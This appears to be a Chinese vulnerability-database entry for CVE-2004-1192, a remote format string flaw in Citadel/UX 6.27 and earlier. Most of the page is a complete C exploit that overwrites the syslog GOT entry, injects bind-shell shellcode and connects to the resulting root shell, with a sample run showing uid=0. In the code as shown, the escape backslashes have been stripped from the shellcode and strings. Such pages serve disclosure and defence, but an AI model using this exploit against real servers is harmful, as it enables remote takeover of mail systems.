Citadel lprintf() 格式串漏洞

Citadel lprintf() 格式串漏洞

漏洞ID 1108331 漏洞类型 格式化字符串
发布时间 2004-12-12 更新时间 2005-01-10
图片[1]-Citadel lprintf() 格式串漏洞-安全小百科CVE编号 CVE-2004-1192
图片[2]-Citadel lprintf() 格式串漏洞-安全小百科CNNVD-ID CNNVD-200501-106
漏洞平台 Linux CVSS评分 10.0
|漏洞来源
https://www.exploit-db.com/exploits/681
https://www.securityfocus.com/bid/82621
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200501-106
|漏洞详情
Citadel是一套邮件协作平台软件。Citadel/UX6.27及之前版本中lprintf函数存在格式串漏洞远程攻击者可利用出漏洞,通过发送格式化串到服务器,可执行任意代码。
|漏洞EXP
/* citadel_fsexp.c
 *
 * Citadel/UX v6.27 remote format string exploit
 *
 * Use: ./citadel_fsexp -h <host> [options]
 *
 * options:
 *        -h <arg>        host or IP
 *        -t <arg>        type of target system
 *        -l              targets list
 *        -g <arg>        syslog GOT address
 *        -r <arg>        RET address
 *
 * coki@nosystem:~/audit$ ./citadel_fsexp -h localhost -t0
 *
 * Citadel/UX v6.27 remote format string exploit
 * by CoKi <[email protected]>
 *
 * [*] host                       : localhost
 * [*] system                     : Slackware Linux 10.0
 * [*] syslog GOT address         : 0x0809e9e8
 * [*] RET address                : 0xbfffd5fa
 *
 * [+] verifying host...          OK
 * [+] conecting...               OK
 * [+] building exploit...        OK
 * [+] sending exploit...         OK
 *
 * [+] waiting for shell...
 * [+] connecting to shell...     OK
 *
 * [!] you have a shell :)
 *
 * Linux nosystem 2.4.26 #29 Mon Jun 14 19:22:30 PDT 2004 i686 unknown unknown GNU/Linux
 * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),
 * 11(floppy)
 *
 * Tested in Slackware 10.0
 *    
 * by CoKi <[email protected]>
 * No System Group - http://www.nosystem.com.ar
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <getopt.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/fcntl.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define BUFFERSIZE 1024
#define ERROR -1
#define TIMEOUT 3
#define PORT 504
#define SHELL 5074

int connect_timeout(int sfd, struct sockaddr *serv_addr,
  socklen_t addrlen, int timeout);
int check(unsigned long addr);
void use(char *program);
void printlist(void);
void shell(char *host, int port);

char shellcode[] = /* 92 bytes by s0t4ipv6 */
	"x31xc0"			// xorl		%eax,%eax
	"x50"				// pushl	%eax
	"x40"				// incl		%eax
	"x89xc3"			// movl		%eax,%ebx
	"x50"				// pushl	%eax
	"x40"				// incl		%eax
	"x50"				// pushl	%eax
	"x89xe1"			// movl		%esp,%ecx
	"xb0x66"			// movb		$0x66,%al
	"xcdx80"			// int		$0x80
	"x31xd2"			// xorl		%edx,%edx
	"x52"				// pushl	%edx
	"x66x68x13xd2"		// pushw	$0xd213
	"x43"				// incl		%ebx
	"x66x53"			// pushw	%bx
	"x89xe1"			// movl		%esp,%ecx
	"x6ax10"			// pushl	$0x10
	"x51"				// pushl	%ecx
	"x50"				// pushl	%eax
	"x89xe1"			// movl		%esp,%ecx
	"xb0x66"			// movb		$0x66,%al
	"xcdx80"			// int		$0x80
	"x40"				// incl		%eax
	"x89x44x24x04"		// movl		%eax,0x4(%esp,1)
	"x43"				// incl		%ebx
	"x43"				// incl		%ebx
	"xb0x66"			// movb		$0x66,%al
	"xcdx80"			// int		$0x80
	"x83xc4x0c"			// addl		$0xc,%esp
	"x52"				// pushl	%edx
	"x52"				// pushl	%edx
	"x43"				// incl		%ebx
	"xb0x66"			// movb		$0x66,%al
	"xcdx80"			// int		$0x80
	"x93"				// xchgl	%eax,%ebx
	"x89xd1"			// movl		%edx,%ecx
	"xb0x3f"			// movb		$0x3f,%al
	"xcdx80"			// int		$0x80
	"x41"				// incl		%ecx
	"x80xf9x03"			// cmpb		$0x3,%cl
	"x75xf6"			// jnz		<shellcode+0x40>
	"x52"				// pushl	%edx
	"x68x6ex2fx73x68"		// pushl	$0x68732f6e
	"x68x2fx2fx62x69"		// pushl	$0x69622f2f
	"x89xe3"			// movl		%esp,%ebx
	"x52"				// pushl	%edx
	"x53"				// pushl	%ebx
	"x89xe1"			// movl		%esp,%ecx
	"xb0x0b"			// movb		$0xb,%al
	"xcdx80"			// int		$0x80
	;

struct {
	char	*os;
	int	got;
	int	ret;
}targets[] =
	{"Slackware Linux 10.0", 0x0809e9e8, 0xbfffd5fa};

int main(int argc, char *argv[]) {
	char buffer[BUFFERSIZE], temp[BUFFERSIZE];
	char opt, *host=NULL, *system=NULL, *p;
	int sockfd, i, retaddr=0, gotaddr=0, targetnum=0;
	unsigned int bal1, bal2, bal3, bal4;
	int cn1, cn2, cn3, cn4;
	struct hostent *he;
	struct sockaddr_in dest_dir;

	printf("n Citadel/UX v6.27 remote format string exploitn");
	printf(" by CoKi <[email protected]>nn");

	while ((opt = getopt(argc,argv,"h:g:r:t:l")) != EOF) {
		switch (opt) {
			case 'h':
				host = optarg;
				break;
			case 'g':
				gotaddr = strtoul(optarg,NULL,0);
				break;
			case 'r':
				retaddr = strtoul(optarg,NULL,0);
				break;
			case 't':
				targetnum = atoi(optarg);
				if(targetnum != 0) {
					printf(" invalid target number!nn");
					exit(0);
				}
				system = targets[targetnum].os;
				gotaddr = targets[targetnum].got;
				retaddr = targets[targetnum].ret;
				break;
			case 'l':
				printlist();
				break;
			default:
				use(argv[0]);
				break;
		}
	}

	if(host == NULL) use(argv[0]);
	if(gotaddr == 0 || retaddr == 0) use(argv[0]);
	if(system == NULL) system = "unknown";

	printf(" [*] hostttt: %sn", host);
	printf(" [*] systemttt: %sn", system);
	printf(" [*] syslog GOT addresstt: %010pn", gotaddr);
	printf(" [*] RET addresstt: %010pnn", retaddr);
    
	printf(" [+] verifying host...tt");
	fflush(stdout);

	if((he=gethostbyname(host)) == NULL) {
		herror("Error");
		printf("n");
		exit(1);
	} 
	
	printf("OKn");

	if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
		perror("Error");
		printf("n");
		exit(1);
	}

	dest_dir.sin_family = AF_INET;
	dest_dir.sin_port = htons(PORT);
	dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
	bzero(&(dest_dir.sin_zero), 8);

	printf(" [+] conecting...tt");
	fflush(stdout);
	
	if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
		sizeof(struct sockaddr), TIMEOUT) == ERROR) {
		
		printf("Closednn");
		exit(1);
	}

	printf("OKn");
	
	printf(" [+] building evil buffer...t");
	fflush(stdout);

	bzero(buffer, sizeof(buffer));
	strcat(buffer, "x");

	for(i = 0; i < 4; i++) {
		bzero(temp, sizeof(temp));
		sprintf(temp, "%s", &gotaddr);
		strncat(buffer, temp, 4);
		gotaddr++;
	}

	bal1 = (retaddr & 0xff000000) >> 24;
	bal2 = (retaddr & 0x00ff0000) >> 16;
	bal3 = (retaddr & 0x0000ff00) >>  8;
	bal4 = (retaddr & 0x000000ff);
  
	cn1 = bal4 - 16 - 1 - 15 - 50 - 92;
	cn1 = check(cn1);
	cn2 = bal3 - bal4;
	cn2 = check(cn2);
	cn3 = bal2 - bal3;
	cn3 = check(cn3);
	cn4 = bal1 - bal2;
	cn4 = check(cn4);

	p = buffer;
	p += 17;

	memset(p, 'x90', 50);

	strcat(buffer, shellcode);

	sprintf(temp, "%%%du%%27$n%%%du%%28$n%%%du%%29$n%%%du%%30$n",
cn1, cn2, cn3, cn4);
                
	strcat(buffer, temp);
	bzero(temp, sizeof(temp));

	printf("OKn");

	printf(" [+] sending evil buffer...t");
	fflush(stdout);
	
	recv(sockfd, temp, sizeof(temp), 0);
	send(sockfd, buffer, strlen(buffer), 0);
	send(sockfd, "n", 1, 0);
	close(sockfd);
	
	printf("OKnn");

	printf(" [+] waiting for shell...n");
	fflush(stdout);
	sleep(2);

	shell(host, SHELL);
}

int connect_timeout(int sfd, struct sockaddr *serv_addr,
	socklen_t addrlen, int timeout) {

	int res, slen, flags;
	struct timeval tv;
	struct sockaddr_in addr;
	fd_set rdf, wrf;

	fcntl(sfd, F_SETFL, O_NONBLOCK);

	res = connect(sfd, serv_addr, addrlen);

	if (res >= 0) return res;

	FD_ZERO(&rdf);
	FD_ZERO(&wrf);

	FD_SET(sfd, &rdf);
	FD_SET(sfd, &wrf);
	bzero(&tv, sizeof(tv));
	tv.tv_sec = timeout;

	if (select(sfd + 1, &rdf, &wrf, 0, &tv) <= 0)
		return -1;

	if (FD_ISSET(sfd, &wrf) || FD_ISSET(sfd, &rdf)) {
		slen = sizeof(addr);
		if (getpeername(sfd, (struct sockaddr*)&addr, &slen) == -1)
			return -1;

		flags = fcntl(sfd, F_GETFL, NULL);
		fcntl(sfd, F_SETFL, flags & ~O_NONBLOCK);

		return 0;
	}

	return -1;
}

int check(unsigned long addr) {
	char tmp[128];
	snprintf(tmp, sizeof(tmp), "%d", addr);
	if(atoi(tmp) < 1)
		addr = addr + 256;
  
	return addr;
}

void use(char *program) {
	printf(" Use: %s -h <host> [options]n", program);
	printf("n options:n");
	printf("	-h <arg>	host or IPn");
	printf("	-t <arg>	type of target systemn");
	printf("	-l 		targets listn");
	printf("	-g <arg>	syslog GOT addressn");
	printf("	-r <arg>	RET addressnn");
	exit(1);
}

void printlist(void) {
	printf(" targetsn");
	printf(" -------nn");
	printf(" [0] %snn", targets[0].os);
	exit(0);
}

void shell(char *host, int port) {
	int sockfd, n;
	char buff[BUFFERSIZE];
	fd_set readfs;
	struct hostent *he;
	struct sockaddr_in dest_dir;

	printf(" [+] connecting to shell...t");
	fflush(stdout);

	if((he=gethostbyname(host)) == NULL) {
		herror("Error");
		printf("n");
		exit(1);
	} 

	if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
		perror("Error");
		printf("n");
		exit(1);
	}

	dest_dir.sin_family = AF_INET;
	dest_dir.sin_port = htons(port);
	dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
	bzero(&(dest_dir.sin_zero), 8);

	if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
		sizeof(struct sockaddr), TIMEOUT) == ERROR) {
		
		printf("Closednn");
		printf(" [-] failed! perhaps the target has down...nn");
		exit(1);
	}

	printf("OKnn");

	printf(" [!] you have a shell :)nn");
	fflush(stdout);

	send(sockfd, "uname -a; id;n", 14, 0);

	while(1) {
		FD_ZERO(&readfs);
		FD_SET(0, &readfs);
		FD_SET(sockfd, &readfs);
		if(select(sockfd+1, &readfs, NULL, NULL, NULL) < 1) exit(0);
		if(FD_ISSET(0,&readfs)) {
			if((n = read(0,buff,sizeof(buff))) < 1)
			exit(0);
			if(send(sockfd, buff, n, 0) != n) exit(0);
		}
		if(FD_ISSET(sockfd,&readfs)) {
			if((n = recv(sockfd, buff, sizeof(buff), 0)) < 1) exit(0);
			write(1, buff, n);
		}
	}
}

// milw0rm.com [2004-12-12]
|受影响的产品
Citadel/UX Citadel/UX 6.27

Citadel/UX Citadel/UX 6.26

Citadel/UX Citadel/UX 6.24

Citadel/UX Citadel/UX 6.23

Citadel/UX Citadel/UX 6.0 8

Citadel/UX Citadel/UX 6.0 7

|参考资料

来源:XF
名称:citadel-format-string(18429)
链接:http://xforce.iss.net/xforce/xfdb/18429
来源:MISC
链接:http://www.nosystem.com.ar/advisories/advisory-09.txt
来源:BUGTRAQ
名称:20041214Re:Citadel/UX<=v6.27RemoteFormatStringVulnerability
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=110304986223400&w;=2
来源:BUGTRAQ
名称:20041213Citadel/UX<=v6.27RemoteFormatStringVulnerability
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=110295469430696&w;=2

相关推荐: Microsoft Internet Explorer 5.0.1 – CSS Style Sheet Memory Corruption

Microsoft Internet Explorer 5.0.1 – CSS Style Sheet Memory Corruption 漏洞ID 1054476 漏洞类型 发布时间 2004-05-18 更新时间 2004-05-18 CVE编号 N/A …

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享